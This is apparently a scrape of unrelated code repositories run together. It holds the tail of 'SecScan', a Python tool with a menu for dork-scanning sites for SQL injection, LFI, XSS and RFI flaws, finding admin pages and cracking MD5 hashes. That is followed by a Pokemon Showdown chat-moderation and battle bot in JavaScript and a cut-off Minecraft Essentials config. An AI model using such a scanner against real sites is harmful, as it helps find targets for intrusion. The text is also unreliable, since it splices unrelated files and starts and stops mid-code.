results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()
bugsbirb / BirbBirb is designed to simplify tasks related to managing staff, staff punishment, activity tracking.
Champ1604 / Botvar config = { name: 'KTN Bot', userid: function () { return toId(this.name); }, group: '@', join: true, rooms: ['lobby'], punishvals: { 1: 'warn', 2: 'mute', 3: 'hourmute', 4: 'roomban', 5: 'ban' }, privaterooms: ['staff'], hosting: {}, laddering: true, ladderPercentage: 70, debug: false }; /** * On server start, this sets up fake user connection for bot and uses a fake ip. * It gets a the fake user from the users list and modifies it properties. In addition, * it sets up rooms that bot will join and adding the bot user to Users list and * removing the fake user created which already filled its purpose * of easily filling in the gaps of all the user's property. */ function joinServer() { if (process.uptime() > 5) return; // to avoid running this function again when reloading var worker = new(require('./fake-process.js').FakeProcess)(); Users.socketConnect(worker.server, undefined, '1', '76.19.156.198'); for (var i in Users.users) { if (Users.users[i].connections[0].ip === '76.19.156.198') { var bot = Users.users[i]; bot.name = config.name; bot.named = true; bot.renamePending = config.name; bot.authenticated = true; bot.userid = config.userid(); bot.group = config.group; if (config.join === true) { for (var all in Rooms.rooms) { if (all != 'global') { bot.roomCount[all] = 1; } } Users.users[bot.userid] = bot; for (var allRoom in Rooms.rooms) { if (allRoom != 'global') { Rooms.rooms[allRoom].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } else { for (var index in config.rooms) { if (index != 'global') { bot.roomCount[joinRooms[index]] = 1; } } Users.users[bot.userid] = bot; for (var jIndex in config.rooms) { if (jIndex != 'global') { Rooms.rooms[jIndex].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } delete Users.users[i]; } } } const ACTION_COOLDOWN = 3 * 1000; const FLOOD_MESSAGE_NUM = 5; const FLOOD_PER_MSG_MIN = 500; // this is the minimum time between messages for legitimate spam. It's used to determine what "flooding" is caused by lag const FLOOD_MESSAGE_TIME = 6 * 1000; const MIN_CAPS_LENGTH = 18; const MIN_CAPS_PROPORTION = 0.8; var parse = { chatData: {}, processChatData: function (user, room, connection, message) { if (user.userid === config.userid() || !room.users[config.userid()]) return true; var cmds = this.processBotCommands(user, room, connection, message); if (cmds) return false; message = message.trim().replace(/ +/g, " "); // removes extra spaces so it doesn't trigger stretching this.updateSeen(user.userid, 'c', room.title); var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!this.chatData[user][room]) this.chatData[user][room] = { times: [], points: 0, lastAction: 0 }; this.chatData[user][room].times.push(time); var pointVal = 0; var muteMessage = ''; // moderation for flooding (more than x lines in y seconds) var isFlooding = (this.chatData[user][room].times.length >= FLOOD_MESSAGE_NUM && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) < FLOOD_MESSAGE_TIME && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) > (FLOOD_PER_MSG_MIN * FLOOD_MESSAGE_NUM)); if (isFlooding) { if (pointVal < 2) { pointVal = 2; muteMessage = ', flooding'; } } // moderation for caps (over x% of the letters in a line of y characters are capital) var capsMatch = message.replace(/[^A-Za-z]/g, '').match(/[A-Z]/g); if (capsMatch && toId(message).length > MIN_CAPS_LENGTH && (capsMatch.length >= Math.floor(toId(message).length * MIN_CAPS_PROPORTION))) { if (pointVal < 1) { pointVal = 1; muteMessage = ', caps'; } } // moderation for stretching (over x consecutive characters in the message are the same) var stretchMatch = message.toLowerCase().match(/(.)\1{7,}/g) || message.toLowerCase().match(/(..+)\1{4,}/g); // matches the same character (or group of characters) 8 (or 5) or more times in a row if (stretchMatch) { if (pointVal < 1) { pointVal = 1; muteMessage = ', stretching'; } } if (pointVal > 0 && !(time - this.chatData[user][room].lastAction < ACTION_COOLDOWN)) { var cmd = 'mute'; // defaults to the next punishment in config.punishVals instead of repeating the same action (so a second warn-worthy // offence would result in a mute instead of a warn, and the third an hourmute, etc) if (this.chatData[user][room].points >= pointVal && pointVal < 4) { this.chatData[user][room].points++; cmd = config.punishvals[this.chatData[user][room].points] || cmd; } else { // if the action hasn't been done before (is worth more points) it will be the one picked cmd = config.punishvals[pointVal] || cmd; this.chatData[user][room].points = pointVal; // next action will be one level higher than this one (in most cases) } if (config.privaterooms.indexOf(room) >= 0 && cmd === 'warn') cmd = 'mute'; // can't warn in private rooms // if the bot has % and not @, it will default to hourmuting as its highest level of punishment instead of roombanning if (this.chatData[user][room].points >= 4 && config.group === '%') cmd = 'hourmute'; if (this.chatData[user].zeroTol > 4) { // if zero tolerance users break a rule they get an instant roomban or hourmute muteMessage = ', zero tolerance user'; cmd = config.group !== '%' ? 'roomban' : 'hourmute'; } if (this.chatData[user][room].points >= 2) this.chatData[user].zeroTol++; // getting muted or higher increases your zero tolerance level (warns do not) this.chatData[user][room].lastAction = time; room.add('|c|' + user.group + user.name + '|' + message); CommandParser.parse(('/' + cmd + ' ' + user.userid + muteMessage), room, Users.get(config.name), Users.get(config.name).connections[0]); return false; } return true; }, updateSeen: function (user, type, detail) { user = toId(user); type = toId(type); if (type in {j: 1, l: 1, c: 1} && (config.rooms.indexOf(toId(detail)) === -1 || config.privaterooms.indexOf(toId(detail)) > -1)) return; var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!detail) return; var msg = ''; if (type in {j: 1, l: 1, c: 1}) { msg += (type === 'j' ? 'joining' : (type === 'l' ? 'leaving' : 'chatting in')) + ' ' + detail.trim() + '.'; } else if (type === 'n') { msg += 'changing nick to ' + ('+%@&#~'.indexOf(detail.trim().charAt(0)) === -1 ? detail.trim() : detail.trim().substr(1)) + '.'; } if (msg) { this.chatData[user].lastSeen = msg; this.chatData[user].seenAt = time; } }, processBotCommands: function (user, room, connection, message) { if (room.type !== 'chat' || message.charAt(0) !== '.') return; var cmd = '', target = '', spaceIndex = message.indexOf(' '), botDelay = (Math.floor(Math.random() * 6) * 1000), now = Date.now(); if (spaceIndex > 0) { cmd = message.substr(1, spaceIndex - 1); target = message.substr(spaceIndex + 1); } else { cmd = message.substr(1); target = ''; } cmd = cmd.toLowerCase(); if ((message.charAt(0) === '.' && Object.keys(Bot.commands).join(' ').toString().indexOf(cmd) >= 0 && message.substr(1) !== '') && !Bot.config.debug) { if ((now - user.lastBotCmd) * 0.001 < 30) { connection.sendTo(room, 'Please wait ' + Math.floor((30 - (now - user.lastBotCmd) * 0.001)) + ' seconds until the next command.'); return true; } user.lastBotCmd = now; } if (commands[cmd]) { var context = { sendReply: function (data) { setTimeout(function () { room.add('|c|' + config.group + config.name + '|' + data); }, botDelay); }, sendPm: function (data) { var message = '|pm|' + config.group + config.name + '|' + user.group + user.name + '|' + data; user.send(message); }, can: function (permission) { if (!user.can(permission)) { setTimeout(function () { connection.sendTo(room, '.' + cmd + ' - Access denied.'); }, botDelay); return false; } return true; }, parse: function (target) { CommandParser.parse(target, room, Users.get(Bot.config.name), Users.get(Bot.config.name).connections[0]); }, }; if (typeof commands[cmd] === 'function') { commands[cmd].call(context, target, room, user, connection, cmd, message); } } }, getTimeAgo: function (time) { time = Date.now() - time; time = Math.round(time / 1000); // rounds to nearest second var seconds = time % 60; var times = []; if (seconds) times.push(String(seconds) + (seconds === 1 ? ' second' : ' seconds')); var minutes, hours, days; if (time >= 60) { time = (time - seconds) / 60; // converts to minutes minutes = time % 60; if (minutes) times = [String(minutes) + (minutes === 1 ? ' minute' : ' minutes')].concat(times); if (time >= 60) { time = (time - minutes) / 60; // converts to hours hours = time % 24; if (hours) times = [String(hours) + (hours === 1 ? ' hour' : ' hours')].concat(times); if (time >= 24) { days = (time - hours) / 24; // you can probably guess this one if (days) times = [String(days) + (days === 1 ? ' day' : ' days')].concat(times); } } } if (!times.length) times.push('0 seconds'); return times.join(', '); } }; var commands = { guide: function (target, room, user) { var commands = Object.keys(Bot.commands); commands = commands.join(', ').toString(); this.sendReply('List of bot commands: ' + commands); }, say: function (target, room, user) { if (!this.can('say')) return; this.sendReply(target); }, tell: function (target, room, user) { if (!this.can('bottell')) return; var parts = target.split(','); if (parts.length < 2) return; this.parse('/tell ' + toId(parts[0]) + ', ' + Tools.escapeHTML(parts[1])); this.sendReply('Message sent to ' + parts[0] + '.'); }, penislength: function (target, room, user) { this.sendReply('8.5 inches from the base. Perv.'); }, seen: function (target, room, user, connection) { if (!target) return; if (!toId(target) || toId(target).length > 18) return connection.sendTo(room, 'Invalid username.'); if (!parse.chatData[toId(target)] || !parse.chatData[toId(target)].lastSeen) { return this.sendPm('The user ' + target.trim() + ' has never been seen chatting in rooms.'); } return this.sendPm(target.trim() + ' was last seen ' + parse.getTimeAgo(parse.chatData[toId(target)].seenAt) + ' ago, ' + parse.chatData[toId(target)].lastSeen); }, salt: function (target, room, user) { if (!global.salt) global.salt = 0; salt++; this.sendReply(salt + '% salty.'); }, whois: (function () { var reply = [ "Just another Pokemon Showdown user", "A very good competetive pokemon player", "A worthy opponent", "Generally, a bad user", "Generally, a good user", "Someone who is better than you", "An amazing person", "A beautiful person", "A person who is probably still a virgin", "A leader", "A lord helix follower", "An annoying person", "A person with a salty personality", "A Coffee Addict", "A Mediocre Player", ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; target = toId(target); if (target === 'creaturephil') message = 'An experienced **coder** for pokemon showdown. He has coded for over 5 servers such as kill the noise, moxie, aerdeith, nova, etc. Please follow him on github: https://github.com/CreaturePhil'; if (target === config.userid()) message = 'That\'s me.'; if (target === 'zarel') message = 'Pokemon Showdown Creator'; if (target === 'stevoduhhero') message = 'STEVO DUH GOD DAMN HERO! Respect him!'; if (target === 'rickycocaine') message = 'RICKY COCAAAAAAAINE'; this.sendReply(message); }; })(), helix: (function () { var reply = [ "Signs point to yes.", "Yes.", "Reply hazy, try again.", "Without a doubt.", "My sources say no.", "As I see it, yes.", "You may rely on it.", "Concentrate and ask again.", "Outlook not so good.", "It is decidedly so.", "Better not tell you now.", "Very doubtful.", "Yes - definitely.", "It is certain.", "Cannot predict now.", "Most likely.", "Ask again later.", "My reply is no.", "Outlook good.", "Don't count on it." ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; this.sendPm(message); }; })(), maketournament: function (target, room, user) { if (!this.can('maketournament')) return; if (Tournaments.tournaments[room.id]) return this.sendReply('A tournament is already running in the room.'); var parts = target.split(','), self = this, counter = 1; if (parts.length < 2 || Tools.getFormat(parts[0]).effectType !== 'Format' || !/[0-9]/.test(parts[1])) return this.sendPm('Correct Syntax: !maketournament [tier], [time/amount of players]'); if (parts[1].indexOf('minute') >= 0) { var time = Number(parts[1].split('minute')[0]); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**You have ' + time + ' minute' + parts[1].split('minute')[1] + ' to join the tournament.**'); var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (counter === time) { if (Tournaments.tournaments[room.id].generator.users.size < 2) { self.parse('/tour end'); return self.sendReply('**The tournament was canceled because of lack of players.**'); } return self.parse('/tour start'); } if ((time - counter) === 1) { self.sendReply('**You have ' + (time - counter) + ' minute to sign up for the tournament.**'); } else { self.sendReply('**You have ' + (time - counter) + ' minutes to sign up for the tournament.**'); } counter++; if (!Tournaments.tournaments[room.id].isTournamentStarted) loop(); }, 1000 * 60); }; loop(); return; } if (Number(parts[1]) < 2) return; parts[1] = parts[1].replace(/[^0-9 ]+/g, ''); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**The tournament will begin when ' + parts[1] + ' players join.**'); var playerLoop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (Tournaments.tournaments[room.id].generator.users.size === Number(parts[1])) { self.parse('/tour start'); } playerLoop(); }, 1000 * 15); }; playerLoop(); }, hosttournament: function (target, room, user) { if (!this.can('hosttournament')) return; if (target.toLowerCase() === 'end') { if (!Bot.config.hosting[room.id]) return this.sendPm('I\'m not hosting tournaments.'); Bot.config.hosting[room.id] = false; return this.sendReply('I will now stop hosting tournaments.'); } if (Bot.config.hosting[room.id]) return this.sendReply('I\'m already hosting tournaments.'); Bot.config.hosting[room.id] = true this.sendReply('**I will now be hosting tournaments.**'); var self = this, _room = room, _user = user; var poll = function () { if (!Bot.config.hosting[_room.id]) return; setTimeout(function () { if (Poll[_room.id].question) self.parse('/endpoll'); self.parse('/poll Tournament tier?, ' + Object.keys(Tools.data.Formats).filter(function (f) { return Tools.data.Formats[f].effectType === 'Format'; }).join(", ")); setTimeout(function () { self.parse('/endpoll'); Bot.commands.maketournament.call(self, (Poll[_room.id].topOption + ', 2 minute'), _room, _user); }, 1000 * 60 * 2); }, 1000 * 5); }; var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[_room.id] && !Poll[_room.id].question) poll(); if (Bot.config.hosting[_room.id]) loop(); }, 1000 * 60); }; poll(); loop(); }, join: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; if (Rooms.get(target.toLowerCase()).users[Bot.config.name]) return this.sendPm('I\'m already in this room.'); Users.get(Bot.config.name).joinRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has join ' + target + ' room.'); }, botDelay); }, leave: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; Users.get(Bot.config.name).leaveRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has left ' + target + ' room.'); }, botDelay); }, rps: function (target, room, user) { if (!target) return; var options = ['rock', 'paper', 'scissors'], rng = options[Math.floor(Math.random() * options.length)], target = toId(target); if (rng === target) return this.sendReply('I chose ' + rng + '. The result is a tie!'); if (rng === options[0]) { if (target === options[1]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[2]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[1]) { if (target === options[2]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[0]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[2]) { if (target === options[0]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[1]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } }, }; exports.joinServer = joinServer; exports.config = config; exports.parse = parse; exports.commands = commands; // Battling AI exports.teams=new Object;var fs=require("fs");fs.readFile("./config/bot-teams.json",function(e,t){if(e)return;t=""+t;exports.teams=JSON.parse(t)});exports.addTeam=function(e,t){if(t&&t.length&&typeof t=="string"){if(!Bot.teams[e])Bot.teams[e]=new Array;Bot.teams[e].push(t);fs.writeFile("./config/bot-teams.json",JSON.stringify(Bot.teams))}};exports.randomTeam=function(e){if(e.split("random").length-1>0)return"";var t;if(Bot.teams[e])t=Bot.teams[e][Math.floor(Math.random()*Bot.teams[e].length)];if(!t)t="";return t};exports.booty={addBattle:function(e,t){Bot.booty.battles["battle-"+e.toLowerCase().replace(/[^a-z0-9]+/g,"")+"-"+(Rooms.global.lastBattle+1)]={booty:{user:Users.get(Bot.config.name),exposed:[{},{},{},{},{},{}]},opp:{user:t,exposed:[{},{},{},{},{},{}]}}},battles:new Object,check:function(){global.bootytimeout=setTimeout(function(){if(!Bot.booty.battles){Bot.booty.check();return}for(var e in Bot.booty.battles){if(Bot.booty.battles[e]){var t=Rooms.rooms[e];if(t){var n=t.battle;if(n){n=n.field;if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].side)if(n[toId(Bot.config.name)].side.pokemon)if(n[toId(Bot.config.name)].side.pokemon[0].condition.charAt(0)=="0")Bot.booty.forceSwitch(e);if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].forceSwitch)Bot.booty.forceSwitch(e)}}}}Bot.booty.check()},2e3)},forceSwitch:function(e){var t;if(Rooms.rooms[e])t=Rooms.rooms[e];if(!t)return;var n=Bot.booty.battles[t.id];var r=t.battle.field,i=r[toId(Bot.config.name)].side.pokemon;var s=i.length;if(!o){var o=new Array;for(var u=0;u<s;u++)o.push(u)}var a=Math.floor(Math.random()*s);while(a==1&&o.indexOf(a)==-1&&i[a].condition.charAt(0)=="0")a=Math.floor(Math.random()*s);t.decision(Users.get(toId(Bot.config.name)),"choose","switch "+parseInt(a+1,10))},predict:function(e,t,n,r){function N(e,t,n){var r=false;var i=1;var s=0;for(var o in t){var u=1;var a=t[o];for(var f in e)u=u*T[Tools.data.TypeChart[e[f]].damageTaken[a]];if(u>=2)r=true;i=i*u;if(s<u)s=u}if(n){if(n.total)return i;else if(n.best)return s}return r}function C(e,t){var n=e.baseStats;var r=0;for(var i in n)r+=n[i];var s=e.abilities;var o=e.types;var u={wall:false,frail:false,attacking:{mixed:false,physical:false,special:false},defending:{mixed:false,physical:false,special:false}};if(n.hp<100)u.frail=true;if((n.hp+n.def+n.spd)/r>.474)u.wall=true;var a=n.atk+n.spa;var f=n.atk/a;var l=n.spa/a;if(12.75>Math.abs(f-l)*100){u.attacking.mixed=true;u.attacking.physical=true;u.attacking.special=true}else{if(f>l)u.attacking.physical=true;if(l>f)u.attacking.special=true}var c=n.def+n.spd;var h=n.def/c;var p=n.spd/c;if(12.75>Math.abs(h-p)*100){if(n.def>=75)u.defending.physical=true;if(n.spd>=75)u.defending.special=true;if(n.def>=75&&n.spd>=75)u.defending.mixed=true}else{if(h>p)if(n.def>=75)u.defending.physical=true;if(p>h)if(n.spd>=75)u.defending.special=true}if(u.wall||u.tank)u.frail=false;if(t===0){}return u}function k(){var e=new Array;var t=new Array;var n={move:"",power:0};var r=new Object;for(var i in v){var s=1;var o=Tools.data.Movedex[toId(v[i])];var u=o.type;for(var i in E.types)s=s*T[Tools.data.TypeChart[E.types[i]].damageTaken[u]];var c=a[0].baseAbility;var h=a[0].item;if(c=="thickfat"&&(u=="Fire"||u=="Ice"))s=s*.5;if((h=="airballoon"||c=="levitate")&&u=="Ground")s=0;var p=1;if(w.types.indexOf(u)!=-1)p=1.5;var d=s*o.basePower*p;e.push(s);t.push(d);if(d>n.power)n={move:o.name,power:d,info:v[i]};if(o.category=="Status"){r[o.id]=v[i]}}var m,g;var y="";if(f[0].item.split("ite").length-1>0&&f[0].details.split("-mega").length-1==0)y=" mega";if(m&&!g){}else{}return"move "+n.move+y+"|"+l}function L(){return A()}function A(){function n(e,t){var n=0;if(e.bestmovepower>t)n++;if(e.faster)n++;return n}var e=0;var t={slot:0,bestmovepower:0,faster:false};for(var r in f){var i=f[r];var s=Tools.data.Pokedex[toId(i.details.split(",")[0])];if(i.condition.charAt(0)!="0"){e++;var o=new Array;for(var u in i.moves)o[u]=i.moves[u].replace(new RegExp("[0-9]","g"),"");var a=new Array;for(var u in o)a.push(Tools.data.Movedex[toId(o[u])].type);var l=false;if(s.baseStats.spe>E.baseStats.spe)l=true;var c=0;for(var h in o){var p=1;var d=Tools.data.Movedex[toId(o[h])];var v=d.type;for(var m in E.types)p=p*T[Tools.data.TypeChart[E.types[m]].damageTaken[v]];var g=1;if(s.types.indexOf(v)!=-1)g=1.5;var y=p*d.basePower*g;if(y>c)c=y}var b={slot:r,bestmovepower:c,faster:l};if(n(t,b.bestmovepower)<n(b,t.bestmovepower))t=b}}t.slot++;if(e==1||t.slot==1)k();return"switch "+t.slot}function O(){var e=false;var t=false;var n=E.baseStats.spe;var r=w.baseStats.spe;if(n>r)t=true;var i=N(w.types,E.types);var s=N(E.types,w.types);var o=new Array;for(var u in v)o.push(Tools.data.Movedex[toId(v[u].move)].type);var a=N(E.types,o);if(!(!t&&i&&a&&x.frail)){if(t&&S.frail)e=true;if(t&&i)e=true;if(i)e=true}if(x.wall&&S.wall)e=1;if(e===true){var f=L();if(f.replace(/^\D+/g,"")!=1)return f}else if(e==1)A();return k()}var i;var s={change:false};var o=Users.get(Bot.config.name);if(!t.battle.field||!o)return false;if(!t.battle.field[o.userid])return false;var u=t.battle.field,a=u[n.userid].side.pokemon,f=u[o.userid].side.pokemon;if(a[0].condition.charAt(0)=="0"&&f[0].condition.charAt(0)!="0")return false;if(f[0].condition.charAt(0)=="0")s.change=true;var l=u[n.userid].rqid;var c=Bot.booty.battles[t.id];c.turn=l;if(r=="team"){var h=f.length;var p=Math.floor(Math.random()*h);t.decision(o,"choose","team "+p+"|"+l);return false}if(!u[o.userid]){return false}if(!u[o.userid].active){return false}var d=u[o.userid].active[0].moves;var v=new Array;for(var m in d){var g=d[m];if(!g.disabled&&g.pp)v.push(g)}var y=a[0].details.split(",")[0];var b=f[0].details.split(",")[0];var w=Tools.data.Pokedex[toId(b)];var E=Tools.data.Pokedex[toId(y)];var S=C(w,0);var x=C(E);var T=[1,2,.5,0];switch(r){case"switch":case"move":case"choose":if(!s.change){var M=u[toId(Bot.config.name)].active;if(!M)M=false;else M=M[0].trapped;if(M){i=k()}else{i=O()}}else{i=A()}t.decision(o,"choose",i);break}}};var bootyreplace={search:function(e,t,n){function r(e){var t=Math.floor(Math.random()*100)+1;if(t>e)return false;return true}if(!Bot.config.laddering)return;if(r(Bot.config.ladderPercentage))return;if(!toId(e))return false;var i=toId(e);var s=true;var o=Tools.fastUnpackTeam(n.team);var u=TeamValidator.validateTeamSync(i,o);if(u&&u.length)s=false;if((e=="ou"||e.split("random").length-1>0)&&r(100)&&s){Bot.booty.addBattle(e,n);Rooms.global.startBattle(Users.get(Bot.config.name),n,e,true,Bot.randomTeam(e),n.team);Rooms.global.cancelSearch(n);return false}if(e){if(Config.pmmodchat){var a=n.group;if(Config.groupsranking.indexOf(a)<Config.groupsranking.indexOf(Config.pmmodchat)){var f=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+f+" or higher to search for a battle.");return false}}Rooms.global.searchBattle(n,e);if(e=="ou"||e.split("random").length-1>0){Users.get(Bot.config.name).team=Bot.randomTeam(e);Bot.booty.addBattle(e,n);Users.get(Bot.config.name).prepBattle(e,"search",null,Rooms.global.finishSearchBattle.bind(Rooms.global,Users.get(Bot.config.name),e))}}else{Rooms.global.cancelSearch(n)}},challenge:function(e,t,n,r){e=this.splitTarget(e);var i=this.targetUser;if(!i||!i.connected){return this.popupReply("The user '"+this.targetUsername+"' was not found.")}if(i.blockChallenges&&!n.can("bypassblocks",i)){return this.popupReply("The user '"+this.targetUsername+"' is not accepting challenges right now.")}if(Config.pmmodchat){var s=n.group;if(Config.groupsranking.indexOf(s)<Config.groupsranking.indexOf(Config.pmmodchat)){var o=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+o+" or higher to challenge users.");return false}}n.prepBattle(e,"challenge",r,function(t){if(t)n.makeChallenge(i,e)});if(this.targetUsername==Bot.config.name){if(!global.bootytimeout)Bot.booty.check();var u=Users.get(Bot.config.name);u.prepBattle(e,"challenge",u.connections[0],function(e){if(e)u.acceptChallengeFrom(n.userid)});Bot.booty.addBattle(e,n);if(e.split("random").length-1>0){}else{if(n.team!=undefined&&n.team!="")Bot.addTeam(e,n.team);var a=Bot.randomTeam(e);if(a==""||!a){a=n.team;if(a==undefined||a=="")a=""}u.team=a}}},move:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","move "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"move")},sw:"switch","switch":function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","switch "+parseInt(e,10));if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"switch")},choose:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose",e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"choose")},team:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","team "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"team")},part:function(e,t,n,r){if(t.id==="global")return false;var i=Rooms.get(e);if(e&&!i){return this.sendReply("The room '"+e+"' does not exist.")}n.leaveRoom(i||t,r)}};for(var i in bootyreplace)CommandParser.commands[i]=bootyreplace[i]; joinServer();
Altiruss / Altiruss############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: 'none' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isnt used, force essentials to add the prefix and suffix from permission plugins to displayname # This setting is ignored if essentialschat.jar is used, and defaults to 'true' # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 5 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command # This will also prevent the player attacking other players teleport-invulnerability: 4 # The delay, in seconds, required between /heal attempts heal-cooldown: 60 # What to prevent from /i /give # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules # Note: The blacklist above will be ignored then. # Permissions: # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution spawnmob-limit: 10 # Shall we notify users when using /lightning warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # Disabled commands will be completely unavailable on the server. # Disabling commands here will have no effect on command conflicts. disabled-commands: # - nick # These commands will be shown to players with socialSpy enabled # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - 